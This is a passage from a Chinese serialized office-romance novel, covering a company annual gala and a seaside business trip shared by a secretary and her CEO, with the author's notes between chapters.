「我明天回去了,年后见,沈秘书。」 真是倒胃口,假还没过完呢。沈孟青随手回了个知道了余总,便把手机一扔,眼不见为净- 假后的第一天,沈孟青踏进写字楼电梯时,就和余辛碰上了面。这人换下了休闲的常服,又穿上了大衣和西装,一身修长笔挺,气质出众。 她刚刚撞上余辛投射而来的视线,何望和方莉就赶在电梯关上的前几秒跑了进来。 何望往余辛身边一站,散漫地回头看了眼沈孟青,揽上余辛的肩膀说:“怎么感觉假期一过,你脸上容光焕发的,有什么喜事?” “你带销售部这个Q1业绩翻倍,就是最大的喜事。”余辛淡淡然说。 何望撇撇嘴:“一般转移话题还说些让人不爽的话,就说明是被人说中了。说吧,是不是和女人有关。” 听见这个大八卦,方莉脚步无声地挪动,向沈孟青不断靠近,还伸手扒住她胳膊,使了好几个眼色,暗示她也认真听听。 “无聊。”余辛低头看着手机,冷冷说道。 何望挤了下他肩膀:“说来听听,是谁啊。” 余辛放下手机,过了几秒,说: “沈秘书。” 他说这句时音调平平,不像是在喊人,倒更像是在回答何望的问题。 方莉愕然,震惊地转过头,朝沈孟青看去。 沈孟青摆摆手,正想解释,余辛继续说道:“下周的年会,你准备得怎么样了。” “……”沈孟青否认的话噎在喉口,回答他说,“出席名单和活动流程已经全部整理完了,等会给您过目。” 余辛点点头,两手滑进兜里:“行。” 何望翻了个白眼,看这两人还能瞒到什么时候。 等到了顶楼,余辛率先提脚走了出去,方莉拉住沈孟青,见前头那人的身影消失,她才开口道:“沈秘书,我刚还以为余总说他和你……有点什么呢。” 沈孟青扯了下嘴角:“没有没有,你想多了。” 方莉边往外走着,边嘟囔着说:“不过我今天进电梯的时候,还真感觉气氛哪里不太一样。不会真的和何总说的一样,余总是在谈恋爱吧?” “我也不太清楚。” 方莉对她小声说道:“沈秘书,你就在余总身边做事,如果有什么八卦,记得和我分享啊。你放心,我嘴特别严实,我天天在前台就一个人上班,也就能见着你和陈特助,没什么人能聊天。” 沈孟青呵呵两声,说了句好,方莉这才松开手,放她去办公室。 愈生的年会向来办得隆重,不仅有全公司员工参加,还会邀请医药行业里比较领头的几家企业,这个月沈孟青陆陆续续发出了不少邀请函,眼下才总算敲定了最后名单。 年会的地点定在了北城一家五星级酒店宴会厅,沈孟青这一周的时间都在写字楼和酒店之间往返,每一项细节都需要她的确认。 直至年会当天,几乎全部同事都已经到宴会厅去了,她还在写字楼里取东西,等照顾完这头,再赶去酒店。 好巧不巧,她在楼下打车时,余辛那辆黑车从地下停车场缓缓驶了出来。大概是这回他开得比较慢,看见了自己站在路边的身影,将车停在了她跟前。 沈孟青开门上了车,她今天里头穿了件丝绸晚礼服,下摆有点长,她费了点时间把裙尾收在脚边。 等门一关,余辛侧头看了她眼,说:“裙子挺衬你。” “谢谢余总。”沈孟青浅浅微笑着说。 “你这就进入状态了?”余辛说着,没等沈孟青答话,又道,“不过,你这身穿搭少了点东西。” 沈孟青不解地朝他看去:“?” 余辛:“你打开前头的置物格。” 沈孟青按照他说的,打开了暗格,一个熟悉的幽蓝色首饰盒映入眼帘。她这才发觉,自己竟然忘记了戴首饰。 她在心里挣扎了一番,还是没有伸手去拿,只咔哒一声掩上了置物格的盖子。 余辛也没坚持,一路不吭声地开着车,直到在酒店停车场停好了车,他才解开安全带,俯下身自己拿出了首饰盒。 首饰盒被他打开,沈孟青看见里头不仅有他曾经送给她的那根项链,还有配套的手链和耳钉。 即便是地下停车场不算明亮的灯光,也能将这一捧钻石照耀得璀璨夺目。 沈孟青不敢细想这盒子里的东西总价得多少钱,她往后缩了缩:“这……” “戴上。”余辛递过去,说,“就戴今晚,之后随便你处理,还我也行。” 沈孟青看着他,真诚发问:“掉了怎么办。” “……” 余辛无语:“你担心的是这?放心吧,不会叫你赔钱的。” 钻石仍熠熠发着光,沈孟青忍不住垂眸看去,无法抵御它的诱惑,像是被施了咒,不由自主地伸出手。 “最多让你给我多打工几十年,把钱补上。” 沈孟青听见这声,立马就把手缩了回去,胳膊退回去的半路上,余辛拽住了她的手腕:“开玩笑的,我帮你戴上。” 他取下手链,沈孟青的手腕果然很细,他还特意让品牌那边的销售人员改短了些。随后,他又撩起她微卷的长发,帮她戴上了项链,耳钉就留给她自己动手。 沈孟青对着镜子,细致地检查着自己戴完首饰之后的样子。不得不承认,贵有贵的道理,这套首饰衬得她肌肤愈发白皙滑嫩,气质动人。 两人下了车,沈孟青整理好裙摆,徐徐走到余辛身旁。 “走吧,沈秘书。” 他伸出手,望向沈孟青,等她搭上自己的胳膊。 他们两人过于亲昵的举动,落入后头一人眼里,等进了电梯,张图抬手按住即将关上的电梯门,冷笑着走了进去。他爸是股东,这种场合自然也会邀请他,没想到,正好让他撞上了余辛和沈孟青的奸情。 他语气不善地开口说道:“余总,原来你当时对我出手,是为了她沈孟青啊。那在这点上,你可比你爸差远了,我记得老余总可是从来不近美色的。” 说完余辛,他似是还不够解气,又朝沈孟青道:“以前倒没看出来,你还有这种心机呢,费尽心思离开销售部只为爬上他余辛的床,你有什么资格瞧不起我,我至少光明正大靠的我爸。” 沈孟青还没反应过来,只觉眼前闪过一段黑影,余辛瞬间揪住了张图的衣领,张图比他矮了大半个头,像是被他硬生生拽起来一般。 张图的脖颈处被衣领卡住,他呼吸不畅,脸涨得通红。 “你嘴巴放干净点。”余辛眉眼冰冷,眸子里满是凌厉的威慑,“你真以为你爸能安安稳稳坐在股东这位置上是我没他的把柄么,如果你还是这么口无遮拦,在外败坏公司名声或是给愈生惹了麻烦,我不介意让你爸把股权交出来。” 张图没吭声,不知道是被他这话堵住了,还是喉咙被卡得发不出声音,但瞪向余辛的眼色逐渐失去了底气。 余辛仍抓住他不放:“还有,是我主动追求的沈秘书,别用你那肮脏的脑袋恶意揣度,再让我听见你说一些恶心的话,我会直接动手。” 见张图垂下了头,没有争辩的意思,余辛才松开他的衣领。 电梯门一开,张图当即走了出去,马不停蹄进了宴会厅,往人群里钻。 沈孟青担心地看了几眼他的背影,问道:“你为什么要对他说在追求我,他不会和其他人乱说吧。” “放心吧,他肯定不会。”余辛沉沉道。 张图这性子又蠢又张扬,这回被余辛威胁了下,自然会安分几天,也不敢和他爸复述余辛说的这些话。而且,若是把余辛在追沈孟青的事说出去,在张图心里只会觉得是给沈孟青长脸了,他不会这么干。 陈特助大概是被余辛派去迎接一些外地来的客人了,眼下不见人影,沈孟青作为秘书,端了杯白葡萄,伴随在余辛身旁。 余辛也拿了杯酒,侧过头说:“你不想喝的话就换成水,没有人会发现的。” “不用。”沈孟青抿了口,“挺好喝的。” 余辛哑然失笑,嗔她一声酒鬼,举起杯子和她碰了下,也浅浅酌了一口。 两人走进会场,霎时就有不少人拥了上来,沈孟青提前记下了每个来宾的脸和名字,怕余辛会有见着脸喊不上来名字的时候,但没想到,他居然都记住了,和所有人都相谈甚欢,游刃有余。 她也没闲着,余辛和其他老总不同,没把她这秘书当个挂件,总是会让她参与几句,或是向没打过交道的人介绍她。 再往里走,沈孟青看见了杨川的身影,她热情地打了个招呼,杨川笑着走了过来,当着余辛面朝她说道:“小沈啊,你和我说实话,你当时选择来愈生做秘书,是不是因为小余总比我年轻又长得帅。” 他们老一辈的人还是习惯喊余辛小余总,杨川这话一出,周围不少人笑了出来。 沈孟青看见杨川身边的董助,从容说道:“杨总,您这新助理才是真的年轻又漂亮呢,我哪里比得过。来,我敬您一杯。” “我也敬杨总一杯,感谢杨总让我留住了沈秘书。”余辛举杯说道。 说完场面话,杨川朝两人走近,闲聊起来,说起当时面试的时候还给沈孟青看过余辛照片,夸他长得特帅,有机会本来还想给她要个合照的。 这话有十足的添油加醋的成分,余辛含着笑,歪头看向沈孟青,沈孟青连忙摇摇头,对杨川说:“杨总,您当时给我那照片哪看得清人脸啊,最多看一个氛围。” “谁说的!就算看不清脸,你当时也不夸了小余总挺帅的。”杨川说。 沈孟青怕某人的狗尾巴又翘起来,装失忆道:“我有吗……” 杨川摆摆手:“你不记得就算了,我得履行我的承诺。” 他喊来摄影师,专门让人给余辛和沈孟青拍张合照。 杨川满足地看着眼前这一对样貌气质十分搭调的两人,他眼尖地瞥见余辛垂下的手碰到沈孟青的手背,被沈孟青警告似的轻轻一拍,背起手躲过。 他闷笑几声,还真给他瞎猫撞上俩死耗子了—— 作者有话说: 辛子:再给我打工几十年/叼花 阿青:最怕资本家突如其来的告白… 杨川坐主桌! 第59章 第五十九章 怕你跑了 入夜渐深, 宴会热闹的氛围变得浓厚,和大部分来宾寒暄完后,余辛便到后台去准备开幕词了, 沈孟青则得空去了趟洗手间。 她检查了下妆容, 又洗了遍手,正巧遇上推门而入的万珍和祝梨梨。 祝家做的是地产生意, 和愈生没什么商业往来, 因而祝绍明并没有被邀请, 显然, 祝梨梨是跟着万珍来的。 万珍和镜子里沈孟青的视线对上,她还是头一回没对沈孟青摆出傲慢的姿态, 破天荒地朝她点了个头, 算是招呼。 成为秘书之后,很多人对待沈孟青的态度都一改从前, 至少在明面上, 都对她好声好气的。大概,这就是社会来往的现实法则。 沈孟青礼尚往来地微微笑着说:“万总。” 万珍被她脖子前的太阳花项链晃了下眼,她在珠宝这方面还算了解,一眼便看出沈孟青这条项链上的主钻纯度惊人。 “余辛送你的?”万珍直白地开口问道。 她这话一出, 身旁祝梨梨的脸色变了变。 在余辛父亲去世后, 祝梨梨能接近余辛的办法更少了, 她哥哥祝绍明也不帮她, 她实在没办法,都快放弃了对余辛的追求。今天搭上万珍来愈生的年会, 几乎是她最后一次挣扎。 来这之前,万珍就告诉了她余辛和他秘书的事,但祝梨梨不信, 非得自己亲眼见到才罢休。 她望向沈孟青的眼神变得复杂,有打量,有嫉妒。说实话,即便喜欢了余辛那么久,她也很难想象出他那样冷淡的性子,喜欢一个人会是什么样。 沈孟青大大方方回了句:“不是我的。” 没有再闲聊下去的必要,她提起裙摆经过站着的两人,打开门后,她忽然想起什么,转过头对万珍说道: “有时候,也别太相信你身边的人。” 万珍不明所以地看向她,沈孟青也不好再多说,有些事她也是从客户或是余辛和陈墨的对话中听到了两三嘴,不敢确认。不过万珍今晚没带林向阳来,希望她是察觉到了一些异样吧。 回到宴会厅时,晚会已然开始,余辛正立在台上发言,为了不打扰前头认真听着的人,沈孟青随便找了个空座坐下。 余辛不是个会靠说话活络气氛的人,但他矜贵的气质让人觉得不容忽视,自然而然就将目光落在了他身上,难以移开。 等他发表完开幕词,舞台底下响起如雷般的掌声,沈孟青趁这时机,勾着腰小跑回了自己的座位。 而后是各部门准备的表演环节,打头的就是销售部,何望领着部门的同事们跳了一段网络上热门的群舞。自打他来了销售部之后,部门里那些人精都被他驯得服服帖帖,甚至还生出了一股团结感,和以前梁军在任时迥然不同。 沈孟青饶有兴致地看着,乐得嗑起瓜子来。 舞蹈跳到后半段,舞台上的人突然一哄而下,将台下的人拉扯上台一起热舞,沈孟青也被以前的同事拽上了台,手忙脚乱间,她和同样被“绑架”上来的陈墨差点撞上。 陈墨不会跳舞,四肢格外的不协调,他看见沈孟青后,动作一停,更像是一个进程卡住的机器人。 他朝沈孟青小声说:“你不是约余总见面去了吗?” 沈孟青愣了愣:“我吗?没有啊。” 陈墨皱起眉,正色说道:“刚才有人和我说你找余总去楼上见面,余总一下台我就告诉了他,然后他去找你,到现在都还没回来。” 沈孟青听完陈墨的话,趁乱将他拉下台,走到了后台候场的地方。 “谁和你说的?”她问道。 陈墨回忆了一下,摇摇头说:“我不认识,一个女人。” 听着有些像恶作剧,沈孟青心下也有了几分猜测,她问了下具体的位置,离开了宴会厅。 她乘着电梯上了三层楼,走出去后,露台的风顺着廊道传过来,暖气都快被赶跑。她忘了带外套,只穿着件吊带连衣裙,洁白的肌肤大片地露在空气中,冷得她牙齿有些打颤。 靠近露台走了几步,果然她听见了一男一女的对话声,沈孟青在拐角处站定,凭借声音她辨认出是余辛和祝梨梨,当下这情形,倒和曾经有几分相似。 祝梨梨也不知是哭了还是被冷的,说话带着厚重的鼻音:“你拒绝我,是不是因为那个沈秘书?她根本就没有我这么爱你。” 余辛冷声说:“我拒绝你,是因为我不喜欢你,和别人无关。” “我不管!”祝梨梨有些急眼了,她左顾右盼了下,“你,你不答应我,我就从这跳下去。” 她话虽说得狠,人却离了围栏好几步远,这么娇贵的人,必然惜命得很。 余辛仍旧淡漠地说道:“我已经喊了祝绍明来了,你要是想在这耗下去,我奉陪,不过你最好别闹出什么命案,给愈生造成影响。” 他这话落在祝梨梨耳里,像是在说她的命还没愈生重要,她愈发委屈,扭过头忿忿地看向围栏。她不敢跳下去,甚至因为恐高,连走过去都不敢,只能在这装装样子,余辛还气人得在一旁看戏说风凉话。 两人对峙之间,沈孟青被习习冬风吹得有点着凉,不自觉打了个喷嚏,惊扰到了那头的余辛和祝梨梨。 沈孟青暗道不好,随便找了个能挡人的屏风,躲在后头。 祝梨梨也是要脸面的,她不愿别人看到她这副丢脸的模样,但也想不出借口来给自己个台阶下,正巧,祝绍明打来了电话。 祝梨梨才接通,就被祝绍明劈头盖脸骂了一顿,她瞪了眼余辛,咬牙怒气冲冲地走了。 沈孟青看见她离开的身影,打算过会也偷偷开溜,没想到,余辛下一秒就闪身到了她面前。 他抱起手,垂眸睨向沈孟青说道:“你怎么还是这么爱听墙角。” 沈孟青吸了吸鼻子:“我哪有,是陈特助说你被人骗走了,我才赶过来解救你好不好,你这些风花雪月的故事我才不感兴趣呢。” “那我还得谢谢你美救英雄了?”余辛轻笑了声。 沈孟青向后挥了下手:“不用谢了。” 她又打了个喷嚏,余辛动作一顿,干脆利落地脱下西装外套,松松罩在沈孟青身上,修长的西装下摆刚好地遮盖住了沈孟青起伏饱满的臀部曲线。 她也不扭捏,拢了拢余辛的外套,问他道:“你怎么知道是我的。” 余辛捋起了点衬衫的袖子,说:“你刚那喷嚏声,和偷偷干坏事的小猫叫唤似的,一听就是你。” 沈孟青不可置否的撇撇嘴:“切。” 余辛看她实在像只跳脚的小猫,没忍住,抬手顺了顺她头顶的毛,转而说道:“这地太冷了,回去吧。” 两人下楼回了宴会厅,等进了门沈孟青才想起余辛的西装外套还在自己身上,她急忙脱了下来,还回到余辛手上。 她这动作短短不过十几秒,但还是被眼神好的几个同事看见了。 尤其是姜羽和方莉,虽然她俩不在一桌,互相也不熟,但默契十足地都拿起了手机,手速极快地拍了几张照片。 礼帆正站在台上沉浸地表演着,沈孟青刚在位置坐下,就被她的一段连续高音给惊讶住了。礼帆的气质太过温婉,平日里完全看不出来她学过美声,沈孟青还以为她的爱好最多会是阅读或茶艺。 一曲唱完,大家都震撼地鼓起了掌。 主持人报幕的间隙,沈孟青看了眼手机,瞧见了姜羽和方莉的消息,她们俩都发来了方才偷拍的照片。 姜羽:「是你和他待一起太久了,被浸入味了吗,感觉你们俩越来越般配了。」 方莉:「沈秘书,对不起,我磕到了!!!」 沈孟青给方莉回道: 「期待你等会的表演。」 而对于闺蜜姜羽,她十分毒舌地说道: 「再乱说话,小心今晚抽奖抽不到你。」 这次年会她快扒光了余辛的钱包,让他大出血了一回,奖池又大又丰厚,大多数人都能抽中奖。 姜羽气急:「哼,你是不担心中不了奖,回头让你们家余总给你买就好了!我们打工人就不一样了,一年就指望这一天改善生活呢/哭哭」 沈孟青无语:「好好说话!」 等表演节目全部结束,就到了激动人心的抽奖环节了,前几轮的小奖项还算柔和,起个人人有赏,以量多活跃气氛的作用。 从三等奖的各种电子设备开始,紧张感便一下拉深,屏幕上号码滚动时大家都不敢说话,十分安静。中奖人在对完号码后,一个个高兴地手舞足蹈,雀跃地奔上台去领奖。 到了一等奖五万元的获奖号码公布时,几乎所有人的目光都注视在屏幕上。 好巧不巧,号码一开,居然抽到了余辛。 余辛靠在椅子上,摆摆胳膊说了句重抽。消散的气氛又被点燃,火热的视线重新聚焦在台上。 几秒后,数字暂停,人们都低头确认起来。 沈孟青漫不经心地低头一看—— 怎么中奖的是她?! 主持人仍在台上起哄:“请这位幸运儿尽快上台,余总现场直接转账给你,这么好的机会,可不要错过呀。” 在哄声下,连余辛都被推上了台,沈孟青没法,再拖下去只会更奇怪,她站起身用胳膊比了个叉,也示意重抽一个号。 有人已然开始高呼,让沈孟青快些上台,还有人开玩笑说是不是有黑幕,怎么抽了俩都是董事办的。 沈孟青舔了舔唇瓣,越过人群看向余辛,希望他能理会自己的意思。 余辛接收到她的眼神,拿过话筒,注视着沈孟青说: “沈秘书,上台领奖吧。” 人群里又是一阵欢声呐喊,还夹杂了几句暧昧不明的口哨,这气氛简直把沈孟青给架住了,她在四面八方投射而来的视线压力下,硬着头皮走上舞台去。 她在余辛身旁停下脚步,离他微微靠近,唇不动齿动地小声说:“别转我了。” “为什么?” 余辛嘴角微勾,低头看她。 他背后有几束稍大而明亮的射灯,在沈孟青偏低的视角里,被他遮住了好几盏,柔和的光束像是从他身上向四周散发开来,仔细一看,还有细小的灰尘在他的发间流转。 “不合适。”沈孟青喏喏说道。 余辛小声笑了下:“沈孟青,你心虚什么。” “你大大方方接下这奖,倒还显得心里敞亮,可要是不愿收,你说你心里没鬼,我都不信。” 余辛话音刚落,主持人开口将台下观众的注意力尽数拉了过来,大家都新奇地等着余辛现场转账的时刻。 余辛将手机递给沈孟青,让她自己输账号。 沈孟青抿了抿嘴,她琢磨了下,眼下的确没什么好的借口能躲过去,那就先收下好了,之后再还他。 余辛像是她肚子里的蛔虫,把她的想法拿捏得一清二楚,等她输完,他在转账过去的间隙,松松然出声说:“别想着还我,硬要还的话,你就天天请我吃饭。” “……” “撑死你得了!” 沈孟青小声骂了句。 最后一个大奖落幕,年会也接近了尾声,本来该是散席的时刻,不知谁先提议,将一群部门领导和公司高层一个个哄至台上,让领导们表演唱歌。 台下的人都站定在椅子前,还煞有其事地开了手机的手电筒,挥舞起来,高声应援。 选歌的任务就交给了礼帆这种专业人士,人数比较多,她挑了个时长够足且谁都会唱的情歌王。 熟悉的旋律响起,底下喝彩声久久止不住,话筒在人群中传递,观众们情不自禁地也跟着哼唱。 大概过了十分钟,歌曲已经将近末尾,沈孟青站累了,坐下歇息会,顺手拿起了手机。祝绍明发了条消息来,问她祝梨梨有没有制造什么麻烦,跟她说声抱歉。 沈孟青回了句没事,他要多关心下他妹妹才是,祝梨梨怕不是还在哭呢。 祝绍明发了个叹气的表情,过了会,他又发来道: 「其实,余辛早就对你动心了。」 「还是在好几个月前,他可能是刚见完你,不知道是被你拒绝了还是怎么,心情差得不行,我从没见过他那么失落的模样。他和我讲了几句他朋友的感情故事,大致是说他朋友身边出现了个很特别的女人,他朋友有点喜欢对方,但他们好不容易有了进展之后,女人却说不想和他确认关系,若即若离的。」 「他那段时间特别患得患失,我一瞧就知道是他自己的故事。他这人从小到大都没喜欢过女孩,别说女孩了,有时候我觉得,人类他就没几个喜欢的。他不是很会爱人,但我发觉,他真的在学着去爱你,你们应该也产生过很多次摩擦,他的方式可能就是下意识地去挨近你,感化你,很多话他不知道怎么去说,因为他从小就不爱说话。」 最后,祝绍明敲敲删删: 「我就说到这吧,终究还是你们俩之间的事。」 沈孟青才看完他的消息,倏地身边的人都尖叫起来,她抬头看去,有一束光照在了余辛高挑的身上,话筒也被他握在手里。 只剩结束前的几句歌词,礼帆职业病上来,一个个人头清点过去,就剩余辛还没开嗓,她二话不说,抢过话筒径直往余辛手里一塞。 余辛喉结一滚,微微张嘴,顺着旋律哼起: 我只想用我这一辈子去爱你 从今以后 你会是所有,幸福的理由 Forever love Forever love Forever love[注1] 他应当不怎么唱歌,举着话筒的姿势有点别扭,但他的音色简直是老天赏饭吃,低沉又深情,与每一个音符完美融合,和寻常冷冷淡淡的他判若两人,勾人无比。 沈孟青周围好几个年轻姑娘,都被惊艳得捂住嘴,窃窃私语起来。 一曲终了,年会的气氛被拉到极点,话筒传回礼帆手上,这时候由她这个人事经理来抒发一番,再合适不过。 听完她满腔热血的发言,喝完最后一口酒,宴会便陆陆续续散席了。 沈孟青拿起手机,收拾了下随身的东西,等人都走了,她再检查一番,便可以回去休息了,剩下的事留给明天再处理。 手机又响起新消息提示音,沈孟青拿起一看,是余辛发来的。 她狐疑地看了下前桌坐着低头看手机的人,有什么话当面说不就好了,非得发信息。 狗头上司: 「明天下午出差。」 在这条消息之后,他转发了条邀请函来,是一个医药峰会的。 沈孟青在输入框敲下: 「为什么现在才说。」 狗头上司: 「因为只有我们俩去。」 「怕你跑了。」—— 作者有话说:注1:来自《情歌王》歌词 接辛子和阿青的欧气 嘎嘎嘎 辛子:耶 和老婆出差喽!![墨镜] 温馨提示:小情侣即将和好![害羞] 第60章 第六十章 去我房间 第二天, 由于下午要出差,沈孟青干脆上午没去公司,居家办公。 那套过于昂贵到棘手的首饰被她昨晚无意带回了家, 她收拾出了个空首饰盒, 金贵地把它们安置好,准备还是按照老办法, 给他快递过去。她琢磨了下, 寄到檀香路更稳妥些, 他不收自有陈姨替他收下。 收拾好了行李箱后, 沈孟青打车去了机场,这次峰会地点在海市, 要飞将近四个小时。 才坐上网约车, 她就收到了座位升舱的短信,不用猜也知道是余辛替她办的。 反正出差的交通都是公司报销, 他乐意出这钱, 她没意见。 两人在休息室碰了头,将近午餐时间,沈孟青端了碗面吃,她吃得很香, 余辛坐在她对面, 歪头从电脑屏幕后看了她眼:“这么好吃?” 沈孟青点点头:“要不要帮你叫一碗。” “不用了, 我不饿。”余辛将目光移回至电脑上, “你填饱肚子就行,晚上到那估计八点多才能吃上饭。” “那你怎么办?”沈孟青说。 余辛耸耸肩, 无所谓地说:“我飞机餐凑合一顿。” 他这人奇怪,说他胃口挑剔吧,飞机餐也能吃饱饭, 说他不挑食吧,连个馄饨的口味都执着得不行。沈孟青想了想,把这归为上位者的通病。 登机之后,余辛帮她将随身包放上了行李架,两人并排坐下。沈孟青犯了食困症,一吃完饭就想睡觉,等到飞机滑翔起飞时,她已然昏睡过去了。 整个飞行的过程中,她都睡得不省人事,偶尔脖子往前抻去,一栽一栽地将她晃醒,困意又一秒将她吞噬。余辛看得好笑,他拍了拍自己的肩膀,正想说她不介意的话靠着睡得了,谁料话还没说出口,沈孟青就毫不含糊地靠了过来。 看来,不论是什么生物,睡觉的时候总是最没有戒备心的。 余辛大约是被她这瞌睡虫的困倦传染了,也闲闲懒懒向后一靠,阖上眼小憩。 直到六点,飞机着陆,两人被起落架抓地的动静震醒。 沈孟青睡得口干舌燥,连咽了几口空气想要缓解喉咙的干痛,她茫然地左右看了看,才恍然意识到自己睡余辛肩膀上了。 不过,他们早也不是躺了你肩膀还扭捏几下的关系,沈孟青眨了眨眼,问余辛说:“你是不是没吃上饭。” “嗯。”余辛的嗓子带了些刚睡醒的暗哑,“你靠着我,我没法吃。” 沈孟青:“那等会晚上出去吃吧,我请你。” “中了五万块钱是不一样,说话真有底气。” 沈孟青不搭话,懒得和他斗嘴。 峰会有提前登记每位出席嘉宾到达海市的时间,安排好了接机的汽车,两人一路顺畅无阻地下了飞机,坐上了主办方的车,往酒店开去。 酒店坐落在海边,后半程的路几乎都是沿海的,冬季天黑得早,海面倒映着穹顶的颜色,是一望无际的乌黑,大海和天空肆意地蔓延铺开,在遥远的距离相接一线。海上有零零星星的船只,在海面上缀下一盏盏昼光,随着浪潮小幅度地上下涌动。 眼前是一副静谧安然的景致,在广袤的大自然跟前,俗世的一切烦恼都显得过于渺小,好像都能被人抛之脑后。 余辛见沈孟青看得出神,低声问她:“想去海边玩?” 沈孟青回过头,回答他道:“这几天会有空闲的时间吗?” 余辛掏出手机,确认了下主办方发来的行程安排后,说:“后天晚上应当可以。” “好,那后天晚上我们去海边走走吧。” 司机听着这两人的对话,默不作声地从后视镜看了眼这对容貌出众的男女。 他在心里纳闷,他来接客人之前查看过名单的,没记错的话,男方是公司董事长,女方才是董事长秘书,但当下听这两人的对话,怎么像是这秘书对自己的上司发号施令似的,那董事长也是脾气好,这都不生气!要知道,他今天拉了不少人,见到了好几个老总当着他的面把秘书或是助理骂得狗血淋头的,还都是因为些无关紧要的小事。 更诡异的是,这两人之间的气场,比起同事,更像情侣些。司机像是吃到了什么大瓜,暗地里推断完后,总是忍不住打量后座的人。 没过多久,他再次抬起的眼神恰巧撞入余辛冷冽的双眸里,他被余辛的视线震慑到,不自然地一咳,再没敢看了。 顺着海岸线到了酒店,酒店的接待人员替他们安顿好了行李。在前台开房时,余辛多问了嘴有没有能看到海景的房间,前台一查,只剩一间了。 余辛看向沈孟青,沈孟青还没说话,脸上期待的神色就暴露了她心中所想,余辛便向前台订下了这个海景房给沈孟青住,他住主办方订好的房间。 坐上电梯,余辛抱起胳膊在墙上一靠:“咱俩的房间不在一起,有事给我打电话。” “知道。”沈孟青得瑟地说,“我住的高级海景房能有什么事,余总别是在单间睡得不舒服,眼红我。” “切。” 余辛瞧她高兴那样,口里寒声嘁嘁着,嘴角却不自觉随她上扬。 他住的豪华行政单间在更低的楼层,他又叮嘱了沈孟青几句,才走出了电梯。 沈孟青刷卡进了房间,才推开门,她便一眼望见了玻璃窗外如墨一般的暮色海面。 景致实在太美,沈孟青拿出手机,找角度拍了张照片后,久违地发了条朋友圈,配文是: 「以后峰会都按这个标准来好吗。」 姜羽作为冲浪一线选手,几乎是秒赞了她,还评论说: 「董事办还缺人吗,我也想来TT」 沈孟青笑着回复完她,李青河的评论也弹了出来,说他中午就到了,明天会议厅见。 她简单回了句好,余辛便打电话来催她下楼吃饭了。 两人都有点饿得走不动道了,索性就在酒店自带的餐厅吃个自助餐。五星级酒店晚市的自助餐价格不算优惠,但沈孟青本就有请余辛吃顿好的的想法,豪横地付了钱。 来了海市自然得吃海鲜,沈孟青装了一盘虾兵蟹将,回座位的路上赶巧遇上刚烤好的生蚝,她又腾出手,盛上好几个。 到了座位,她把堆成山的生蚝往桌山一搁:“一起吃点。” 余辛悠悠举起筷子,只夹了一个到盘子里。 “太少了吧,再吃几个。”沈孟青把盘子往他跟前推了下。 余辛嚼了几口,说:“吃不下。” 沈孟青也吃不完,劝他说:“男人吃这个好。” 余辛轻笑了声:“暗示我?” “……” 她全吃了算了。 沈孟青把盘子呼啦呼啦拽回来,余辛却和她反着干,伸手微微使力把住盘沿,又解决了几个生蚝。 这才正吃饱了,余辛搁下筷子,正色道:“明天人多,跟紧我点。” 沈孟青:“嗯。” 余辛:“尤其是不要浪费时间和无关紧要的人见面。” 沈孟青听出来他话里有话,八成是看见了李青河在她朋友圈下的那条评论。 “余总请放心,我什么时候在外头耽误过您工作了。”沈孟青好声好气说道。 余辛掸了掸裤子,边往椅背一靠:“那就请沈秘书继续保持。” 吃完饭已是夜里九点多,沈孟青有些疲乏了,拖着沉重的脚步回房间休息。 夜晚偶有海风呼啸,房间的隔音比较一般,还好沈孟青太累,睡得昏昏沉沉,风刮过玻璃的声音没有吵醒她。 早晨,她在闹钟响起前便自然醒了。 手机弹出很多条新通知,都是在播报明天下午会有台风登陆,而登陆地点就是在海市,风力不算小,新闻媒体说是近几年来风级最大的一次台风。 这次峰会开到明天上午就结束了,大部分人都在明天下午到后天离开,眼下看来,估计他们得在这多待一天了。 沈孟青穿上外套,走到玻璃窗前将窗户打开,这会风倒是还不大,蓝天白云,晴空万里,是暴风雨前的宁静。 她简单妆束了下,换好正式的通勤装后,便下楼吃早餐去。 餐廊里很多人,没有多余的空桌,沈孟青一眼瞧见了余辛和唐思,他俩分别占据了一个空桌,还正好在相邻的位置。唐思看见沈孟青后,眼睛一亮,热情地向她招了招手,余辛则只是将目光落在她身上,像是在笃定她会过去似的。 早上食欲一般,沈孟青只端了盘清淡的蒸点,她大步向前,越过余辛,坐在了唐思的对面。 “好久不见,唐秘书。”她笑着招呼说。 唐思在房间里无聊地闷了快一天,见到沈孟青后,心情也开心了不少:“孟青姐,你们也昨天到的吗?” 沈孟青回她:“是。” 唐思忽地感受到旁边的视线压力,她转过头,看向余辛道:“余总,您要不要过来坐一起?” “行。” 余辛脸上的阴云散了些,看来这唐秘书并不像祝绍明说的那么不会来事,说的话他挺爱听。 他刚在沈孟青身侧坐下,李青河就搁了个盘子在他对面。 李青河边坐下将椅子挪近了些,边说道:“人这么齐。” 沈孟青朝他招呼了声李总,余辛手搭上桌子,指尖有一下没一下地敲着桌面,眼眸低垂,没什么好脸色。 “你们住在哪层?”李青河闲聊着朝沈孟青问道。 沈孟青说:“我住在高楼的海景房,余总应当和你们一样,是主办方安排的那层房间。” “哦!我昨晚看见你的朋友圈了,景色真的好漂亮,我也想住海景房。”唐思说道。 沈孟青揶揄道:“那让你老板加钱开一间。” 唐思缩回了座位,她哪敢对李青河开这个口。 “余总对你可真好。”她凑近了些,说着悄悄话。 沈孟青不可置否地笑了笑。 几人吃完早餐,一齐往会议厅走去。 峰会议程安排得很满,午餐晚餐也都在酒店解决,每个行程之间基本没有回房间休息的时间。余辛和李青河这种知名公司高层的座位都被安排在前头,坐的是松松散散的软沙发,而沈孟青随着一众董秘坐在后头的硬椅子上,和罚坐似的,久了便腰酸背疼,总得时不时起来走两步。 就这么忍了一天半,她才终于摆脱了硬板凳。 第二天中午,已然隐隐有了台风登陆的迹象,酒店门口的棕榈树被风刮得斜头晃脑,飘逸得很,进海滩的入口处被拉上了警戒线,防止有人靠近,远远看着,也能望见波涛汹涌的海面,海浪比前两天高了不少。 出发时间在近两个小时的高铁和飞机还能正常运行,不少人赶路离开了酒店,回北城的交通都没什么合适时间,沈孟青和余辛决定在这多滞留一天。 风太大没办法出门玩,沈孟青便待在房间里,叫客房服务送来了餐食,边吃饭边看点综艺电视剧消磨时光。 傍晚,她在睡梦中被风声吵醒,玻璃窗外近乎一片昏暗,黑云压城,海浪如猛兽般嘶吼席卷,不断朝岸上拍来。沈孟青站到窗前,整片玻璃都在震颤,还有呜咽漏风的声音,楼下有几棵粗壮地大树被吹得拦腰折断,地面上不少被吹飞的东西,一片杂乱。 她回到床边拿起手机,想看看网上有没有其他人发台风的情况,倏地,房间里响起了敲门的声音。 